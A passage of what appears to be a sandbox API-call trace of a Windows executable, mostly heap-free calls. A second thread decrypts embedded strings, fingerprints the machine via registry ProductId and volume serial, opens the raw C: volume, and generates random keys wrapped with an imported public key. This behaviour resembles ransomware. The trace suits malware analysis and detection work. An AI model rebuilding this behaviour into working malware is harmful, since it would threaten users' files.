GetProcessHeap () returned 0x520000 [0137.147] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537598 | out: hHeap=0x520000) returned 1 [0137.148] GetProcessHeap () returned 0x520000 [0137.148] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537588 | out: hHeap=0x520000) returned 1 [0137.148] GetProcessHeap () returned 0x520000 [0137.148] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5375b8 | out: hHeap=0x520000) returned 1 [0137.148] GetProcessHeap () returned 0x520000 [0137.148] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5375a8 | out: hHeap=0x520000) returned 1 [0137.148] GetProcessHeap () returned 0x520000 [0137.148] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5375d8 | out: hHeap=0x520000) returned 1 [0137.148] GetProcessHeap () returned 0x520000 [0137.148] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5375c8 | out: hHeap=0x520000) returned 1 [0137.148] GetProcessHeap () returned 0x520000 [0137.148] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5375f8 | out: hHeap=0x520000) returned 1 [0137.148] GetProcessHeap () returned 0x520000 [0137.148] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5375e8 | out: hHeap=0x520000) returned 1 [0137.148] GetProcessHeap () returned 0x520000 [0137.148] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537638 | out: hHeap=0x520000) returned 1 [0137.148] GetProcessHeap () returned 0x520000 [0137.148] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537628 | out: hHeap=0x520000) returned 1 [0137.148] GetProcessHeap () returned 0x520000 [0137.148] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537658 | out: hHeap=0x520000) returned 1 [0137.148] GetProcessHeap () returned 0x520000 [0137.148] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537648 | out: hHeap=0x520000) returned 1 [0137.148] GetProcessHeap () returned 0x520000 [0137.148] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x536270 | out: hHeap=0x520000) returned 1 [0137.148] GetProcessHeap () returned 0x520000 [0137.149] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537668 | out: hHeap=0x520000) returned 1 [0137.149] GetProcessHeap () returned 0x520000 [0137.149] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537688 | out: hHeap=0x520000) returned 1 [0137.149] GetProcessHeap () returned 0x520000 [0137.149] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537678 | out: hHeap=0x520000) returned 1 [0137.149] GetProcessHeap () returned 0x520000 [0137.149] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x536e38 | out: hHeap=0x520000) returned 1 [0137.149] GetProcessHeap () returned 0x520000 [0137.149] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537698 | out: hHeap=0x520000) returned 1 [0137.149] GetProcessHeap () returned 0x520000 [0137.149] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x536288 | out: hHeap=0x520000) returned 1 [0137.149] GetProcessHeap () returned 0x520000 [0137.149] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5376a8 | out: hHeap=0x520000) returned 1 [0137.149] GetProcessHeap () returned 0x520000 [0137.149] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5362a0 | out: hHeap=0x520000) returned 1 [0137.149] GetProcessHeap () returned 0x520000 [0137.149] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5376b8 | out: hHeap=0x520000) returned 1 [0137.149] GetProcessHeap () returned 0x520000 [0137.149] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5376d8 | out: hHeap=0x520000) returned 1 [0137.149] GetProcessHeap () returned 0x520000 [0137.149] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5376c8 | out: hHeap=0x520000) returned 1 [0137.149] GetProcessHeap () returned 0x520000 [0137.149] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5362b8 | out: hHeap=0x520000) returned 1 [0137.149] GetProcessHeap () returned 0x520000 [0137.149] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5376e8 | out: hHeap=0x520000) returned 1 [0137.149] GetProcessHeap () returned 0x520000 [0137.150] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5362d0 | out: hHeap=0x520000) returned 1 [0137.150] GetProcessHeap () returned 0x520000 [0137.150] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5376f8 | out: hHeap=0x520000) returned 1 [0137.150] GetProcessHeap () returned 0x520000 [0137.150] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537258 | out: hHeap=0x520000) returned 1 [0137.150] GetProcessHeap () returned 0x520000 [0137.150] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5362e8 | out: hHeap=0x520000) returned 1 [0137.150] GetProcessHeap () returned 0x520000 [0137.150] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537718 | out: hHeap=0x520000) returned 1 [0137.150] GetProcessHeap () returned 0x520000 [0137.150] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x536300 | out: hHeap=0x520000) returned 1 [0137.150] GetProcessHeap () returned 0x520000 [0137.150] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537728 | out: hHeap=0x520000) returned 1 [0137.150] GetProcessHeap () returned 0x520000 [0137.150] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x536e58 | out: hHeap=0x520000) returned 1 [0137.150] GetProcessHeap () returned 0x520000 [0137.150] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537738 | out: hHeap=0x520000) returned 1 [0137.150] GetProcessHeap () returned 0x520000 [0137.150] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x536e78 | out: hHeap=0x520000) returned 1 [0137.150] GetProcessHeap () returned 0x520000 [0137.150] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537748 | out: hHeap=0x520000) returned 1 [0137.150] GetProcessHeap () returned 0x520000 [0137.150] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x534068 | out: hHeap=0x520000) returned 1 [0137.150] GetProcessHeap () returned 0x520000 [0137.150] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537758 | out: hHeap=0x520000) returned 1 [0137.151] GetProcessHeap () returned 0x520000 [0137.151] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537158 | out: hHeap=0x520000) returned 1 [0137.151] GetProcessHeap () returned 0x520000 [0137.151] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537768 | out: hHeap=0x520000) returned 1 [0137.152] GetProcessHeap () returned 0x520000 [0137.152] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537788 | out: hHeap=0x520000) returned 1 [0137.152] GetProcessHeap () returned 0x520000 [0137.152] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537778 | out: hHeap=0x520000) returned 1 [0137.152] GetProcessHeap () returned 0x520000 [0137.152] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5340b8 | out: hHeap=0x520000) returned 1 [0137.152] GetProcessHeap () returned 0x520000 [0137.152] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537798 | out: hHeap=0x520000) returned 1 [0137.152] GetProcessHeap () returned 0x520000 [0137.152] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x536318 | out: hHeap=0x520000) returned 1 [0137.152] GetProcessHeap () returned 0x520000 [0137.152] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5377a8 | out: hHeap=0x520000) returned 1 [0137.152] GetProcessHeap () returned 0x520000 [0137.152] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x536330 | out: hHeap=0x520000) returned 1 [0137.152] GetProcessHeap () returned 0x520000 [0137.152] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5377b8 | out: hHeap=0x520000) returned 1 [0137.152] GetProcessHeap () returned 0x520000 [0137.152] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x536348 | out: hHeap=0x520000) returned 1 [0137.152] GetProcessHeap () returned 0x520000 [0137.152] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5377c8 | out: hHeap=0x520000) returned 1 [0137.152] GetProcessHeap () returned 0x520000 [0137.152] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5377e8 | out: hHeap=0x520000) returned 1 [0137.152] GetProcessHeap () returned 0x520000 [0137.152] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5377d8 | out: hHeap=0x520000) returned 1 [0137.152] GetProcessHeap () returned 0x520000 [0137.152] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x536360 | out: hHeap=0x520000) returned 1 [0137.152] GetProcessHeap () returned 0x520000 [0137.153] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5377f8 | out: hHeap=0x520000) returned 1 [0137.153] GetProcessHeap () returned 0x520000 [0137.153] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537818 | out: hHeap=0x520000) returned 1 [0137.153] GetProcessHeap () returned 0x520000 [0137.153] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537808 | out: hHeap=0x520000) returned 1 [0137.153] GetProcessHeap () returned 0x520000 [0137.153] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x536378 | out: hHeap=0x520000) returned 1 [0137.153] GetProcessHeap () returned 0x520000 [0137.153] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537828 | out: hHeap=0x520000) returned 1 [0137.153] GetProcessHeap () returned 0x520000 [0137.153] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x536390 | out: hHeap=0x520000) returned 1 [0137.153] GetProcessHeap () returned 0x520000 [0137.153] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537838 | out: hHeap=0x520000) returned 1 [0137.153] GetProcessHeap () returned 0x520000 [0137.153] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537858 | out: hHeap=0x520000) returned 1 [0137.153] GetProcessHeap () returned 0x520000 [0137.153] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537848 | out: hHeap=0x520000) returned 1 [0137.153] GetProcessHeap () returned 0x520000 [0137.153] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5363a8 | out: hHeap=0x520000) returned 1 [0137.153] GetProcessHeap () returned 0x520000 [0137.153] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537868 | out: hHeap=0x520000) returned 1 [0137.153] GetProcessHeap () returned 0x520000 [0137.153] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5363c0 | out: hHeap=0x520000) returned 1 [0137.153] GetProcessHeap () returned 0x520000 [0137.153] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537878 | out: hHeap=0x520000) returned 1 [0137.153] GetProcessHeap () returned 0x520000 [0137.153] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537898 | out: hHeap=0x520000) returned 1 [0137.153] GetProcessHeap () returned 0x520000 [0137.153] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537888 | out: hHeap=0x520000) returned 1 [0137.154] GetProcessHeap () returned 0x520000 [0137.154] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5378b8 | out: hHeap=0x520000) returned 1 [0137.154] GetProcessHeap () returned 0x520000 [0137.154] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5378a8 | out: hHeap=0x520000) returned 1 [0137.154] GetProcessHeap () returned 0x520000 [0137.154] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5378d8 | out: hHeap=0x520000) returned 1 [0137.154] GetProcessHeap () returned 0x520000 [0137.154] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5378c8 | out: hHeap=0x520000) returned 1 [0137.154] GetProcessHeap () returned 0x520000 [0137.154] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5378f8 | out: hHeap=0x520000) returned 1 [0137.154] GetProcessHeap () returned 0x520000 [0137.154] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5378e8 | out: hHeap=0x520000) returned 1 [0137.154] GetProcessHeap () returned 0x520000 [0137.154] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537918 | out: hHeap=0x520000) returned 1 [0137.154] GetProcessHeap () returned 0x520000 [0137.154] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537908 | out: hHeap=0x520000) returned 1 [0137.154] GetProcessHeap () returned 0x520000 [0137.154] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537938 | out: hHeap=0x520000) returned 1 [0137.154] GetProcessHeap () returned 0x520000 [0137.154] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537928 | out: hHeap=0x520000) returned 1 [0137.154] GetProcessHeap () returned 0x520000 [0137.154] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537958 | out: hHeap=0x520000) returned 1 [0137.154] GetProcessHeap () returned 0x520000 [0137.154] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537948 | out: hHeap=0x520000) returned 1 [0137.154] GetProcessHeap () returned 0x520000 [0137.154] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537978 | out: hHeap=0x520000) returned 1 [0137.154] GetProcessHeap () returned 0x520000 [0137.154] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537968 | out: hHeap=0x520000) returned 1 [0137.154] GetProcessHeap () returned 0x520000 [0137.155] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537188 | out: hHeap=0x520000) returned 1 [0137.155] GetProcessHeap () returned 0x520000 [0137.155] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537988 | out: hHeap=0x520000) returned 1 [0137.155] GetProcessHeap () returned 0x520000 [0137.155] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5379a8 | out: hHeap=0x520000) returned 1 [0137.155] GetProcessHeap () returned 0x520000 [0137.155] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537998 | out: hHeap=0x520000) returned 1 [0137.155] GetProcessHeap () returned 0x520000 [0137.155] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5379c8 | out: hHeap=0x520000) returned 1 [0137.155] GetProcessHeap () returned 0x520000 [0137.155] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5379b8 | out: hHeap=0x520000) returned 1 [0137.155] GetProcessHeap () returned 0x520000 [0137.155] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5379e8 | out: hHeap=0x520000) returned 1 [0137.155] GetProcessHeap () returned 0x520000 [0137.155] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5379d8 | out: hHeap=0x520000) returned 1 [0137.155] GetProcessHeap () returned 0x520000 [0137.155] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5363d8 | out: hHeap=0x520000) returned 1 [0137.155] GetProcessHeap () returned 0x520000 [0137.155] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5379f8 | out: hHeap=0x520000) returned 1 [0137.155] GetProcessHeap () returned 0x520000 [0137.155] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537a38 | out: hHeap=0x520000) returned 1 [0137.155] GetProcessHeap () returned 0x520000 [0137.155] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537a28 | out: hHeap=0x520000) returned 1 [0137.155] GetProcessHeap () returned 0x520000 [0137.155] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537a58 | out: hHeap=0x520000) returned 1 [0137.155] GetProcessHeap () returned 0x520000 [0137.155] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537a48 | out: hHeap=0x520000) returned 1 [0137.155] GetProcessHeap () returned 0x520000 [0137.155] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5363f0 | out: hHeap=0x520000) returned 1 [0137.155] GetProcessHeap () returned 0x520000 [0137.156] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537a68 | out: hHeap=0x520000) returned 1 [0137.156] GetProcessHeap () returned 0x520000 [0137.156] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x536408 | out: hHeap=0x520000) returned 1 [0137.156] GetProcessHeap () returned 0x520000 [0137.156] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537a78 | out: hHeap=0x520000) returned 1 [0137.156] GetProcessHeap () returned 0x520000 [0137.156] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537708 | out: hHeap=0x520000) returned 1 [0137.156] GetProcessHeap () returned 0x520000 [0137.156] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5371a8 | out: hHeap=0x520000) returned 1 [0137.156] GetProcessHeap () returned 0x520000 [0137.156] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x536438 | out: hHeap=0x520000) returned 1 [0137.156] GetProcessHeap () returned 0x520000 [0137.156] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x536450 | out: hHeap=0x520000) returned 1 [0137.156] GetProcessHeap () returned 0x520000 [0137.156] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5371d8 | out: hHeap=0x520000) returned 1 [0137.156] GetProcessHeap () returned 0x520000 [0137.156] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x534108 | out: hHeap=0x520000) returned 1 [0137.156] GetProcessHeap () returned 0x520000 [0137.156] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x536420 | out: hHeap=0x520000) returned 1 [0137.156] GetProcessHeap () returned 0x520000 [0137.156] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537a88 | out: hHeap=0x520000) returned 1 [0137.156] GetProcessHeap () returned 0x520000 [0137.156] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537be8 | out: hHeap=0x520000) returned 1 [0137.156] GetProcessHeap () returned 0x520000 [0137.156] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x536c10 | out: hHeap=0x520000) returned 1 [0137.157] GetProcessHeap () returned 0x520000 [0137.157] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x536948 | out: hHeap=0x520000) returned 1 [0137.157] CryptReleaseContext (hProv=0x534c08, dwFlags=0x0) returned 1 [0137.157] GetProcessHeap () returned 0x520000 [0137.157] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x534bd0 | out: hHeap=0x520000) returned 1 [0137.157] GetProcessHeap () returned 0x520000 [0137.157] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x534bc0 | out: hHeap=0x520000) returned 1 [0137.157] ExitProcess (uExitCode=0x0) Thread: id = 2 os_tid = 0xbec [0049.869] GetProcessHeap () returned 0x520000 [0049.869] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537bc8 [0049.870] GetProcessHeap () returned 0x520000 [0049.870] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x535438 [0049.870] GetProcessHeap () returned 0x520000 [0049.870] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x544f28 [0049.870] CryptImportKey (in: hProv=0x534c08, pbData=0x22afed0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x534bd4 | out: phKey=0x534bd4*=0x543770) returned 1 [0049.870] CryptDecrypt (in: hKey=0x543770, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x544f28, pdwDataLen=0x22aff3c | out: pbData=0x544f28, pdwDataLen=0x22aff3c) returned 1 [0049.870] CryptDestroyKey (hKey=0x543770) returned 1 [0049.870] GetProcessHeap () returned 0x520000 [0049.870] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x544fb0 [0049.870] CryptImportKey (in: hProv=0x534c08, pbData=0x22afed0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x534bd4 | out: phKey=0x534bd4*=0x543770) returned 1 [0049.870] CryptDecrypt (in: hKey=0x543770, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x544fb0, pdwDataLen=0x22aff3c | out: pbData=0x544fb0, pdwDataLen=0x22aff3c) returned 1 [0049.871] CryptDestroyKey (hKey=0x543770) returned 1 [0049.871] SetErrorMode (uMode=0x1) returned 0x0 [0049.871] GetLogicalDrives () returned 0x4 [0049.871] GetProcessHeap () returned 0x520000 [0049.871] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x535480 [0049.871] CryptImportKey (in: hProv=0x534c08, pbData=0x22afa48, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x534bd4 | out: phKey=0x534bd4*=0x543770) returned 1 [0049.871] CryptDecrypt (in: hKey=0x543770, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x535480, pdwDataLen=0x22afab8 | out: pbData=0x535480, pdwDataLen=0x22afab8) returned 1 [0049.871] CryptDestroyKey (hKey=0x543770) returned 1 [0049.871] GetProcessHeap () returned 0x520000 [0049.871] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x53c738 [0049.871] CryptImportKey (in: hProv=0x534c08, pbData=0x22afa48, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x534bd4 | out: phKey=0x534bd4*=0x543770) returned 1 [0049.871] CryptDecrypt (in: hKey=0x543770, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x53c738, pdwDataLen=0x22afab8 | out: pbData=0x53c738, pdwDataLen=0x22afab8) returned 1 [0049.871] CryptDestroyKey (hKey=0x543770) returned 1 [0049.871] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x22afab4 | out: phkResult=0x22afab4*=0x11c) returned 0x0 [0049.871] RegQueryValueExA (in: hKey=0x11c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x22afac0, lpcbData=0x22afabc*=0x400 | out: lpType=0x0, lpData=0x22afac0*=0x30, lpcbData=0x22afabc*=0x18) returned 0x0 [0049.872] RegCloseKey (hKey=0x11c) returned 0x0 [0049.872] GetProcessHeap () returned 0x520000 [0049.872] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x535480 | out: hHeap=0x520000) returned 1 [0049.872] GetProcessHeap () returned 0x520000 [0049.872] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x53c738 | out: hHeap=0x520000) returned 1 [0049.872] GetProcessHeap () returned 0x520000 [0049.872] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x53c738 [0049.872] CryptImportKey (in: hProv=0x534c08, pbData=0x22af828, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x534bd4 | out: phKey=0x534bd4*=0x543770) returned 1 [0049.872] CryptDecrypt (in: hKey=0x543770, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x53c738, pdwDataLen=0x22af88c | out: pbData=0x53c738, pdwDataLen=0x22af88c) returned 1 [0049.872] CryptDestroyKey (hKey=0x543770) returned 1 [0049.872] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x22af890, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0049.872] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x22af888, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x22af888*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0049.872] GetProcessHeap () returned 0x520000 [0049.872] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x53c738 | out: hHeap=0x520000) returned 1 [0049.872] wsprintfA (in: param_1=0x22afad7, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0049.872] wsprintfW (in: param_1=0x22afee8, param_2="\\\\.\\%c:" | out: param_1="\\\\.\\C:") returned 6 [0049.872] wsprintfW (in: param_1=0x22afef8, param_2="%c:\\" | out: param_1="C:\\") returned 3 [0049.872] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0049.873] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x22afed8, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x22afed8*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0049.873] GetProcessHeap () returned 0x520000 [0049.873] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x543770 [0049.873] wsprintfW (in: param_1=0x543770, param_2="%c:" | out: param_1="C:") returned 2 [0049.873] CreateFileW (lpFileName="\\\\.\\C:" (normalized: "c:"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c [0049.873] DeviceIoControl (in: hDevice=0x11c, dwIoControlCode=0x560000, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x22aff08, nOutBufferSize=0x20, lpBytesReturned=0x22afedc, lpOverlapped=0x0 | out: lpOutBuffer=0x22aff08*, lpBytesReturned=0x22afedc*=0x20, lpOverlapped=0x0) returned 1 [0049.873] CloseHandle (hObject=0x11c) returned 1 [0049.874] GetProcessHeap () returned 0x520000 [0049.874] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537be8 [0049.874] GetProcessHeap () returned 0x520000 [0049.874] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2c) returned 0x545038 [0049.874] CryptGenRandom (in: hProv=0x534c08, dwLen=0x20, pbBuffer=0x545044 | out: pbBuffer=0x545044) returned 1 [0049.874] GetProcessHeap () returned 0x520000 [0049.874] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2c) returned 0x545100 [0049.874] CryptGenRandom (in: hProv=0x534c08, dwLen=0x20, pbBuffer=0x54510c | out: pbBuffer=0x54510c) returned 1 [0049.874] GetProcessHeap () returned 0x520000 [0049.874] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x53c738 [0049.874] CryptImportKey (in: hProv=0x534c08, pbData=0x22afec8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x534bd4 | out: phKey=0x534bd4*=0x545138) returned 1 [0049.874] CryptDecrypt (in: hKey=0x545138, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x53c738, pdwDataLen=0x22aff30 | out: pbData=0x53c738, pdwDataLen=0x22aff30) returned 1 [0049.874] CryptDestroyKey (hKey=0x545138) returned 1 [0049.874] GetProcessHeap () returned 0x520000 [0049.874] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x545138 [0049.874] GetProcessHeap () returned 0x520000 [0049.874] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5451c0 [0049.874] CryptImportKey (in: hProv=0x534c08, pbData=0x536948, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x22aff10 | out: phKey=0x22aff10*=0x545248) returned 1 [0049.874] CryptEncrypt (in: hKey=0x545248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x545138*, pdwDataLen=0x22aff14*=0x75, dwBufLen=0x80 | out: pbData=0x545138*, pdwDataLen=0x22aff14*=0x80) returned 1 [0049.875] CryptDestroyKey (hKey=0x545248) returned 1 [0049.875] CryptImportKey (in: hProv=0x534c08, pbData=0x536948, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x22aff10 | out: phKey=0x22aff10*=0x545248) returned 1 [0049.875] CryptEncrypt (in: hKey=0x545248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x5451c0*, pdwDataLen=0x22aff14*=0x75, dwBufLen=0x80 | out: pbData=0x5451c0*, pdwDataLen=0x22aff14*=0x80) returned 1 [0049.875] CryptDestroyKey (hKey=0x545248) returned 1 [0049.875] GetProcessHeap () returned 0x520000 [0049.875] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x53c738 | out: hHeap=0x520000) returned 1 [0049.875] GetProcessHeap () returned 0x520000 [0049.875] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x545248 [0049.875] CryptImportKey (in: hProv=0x534c08, 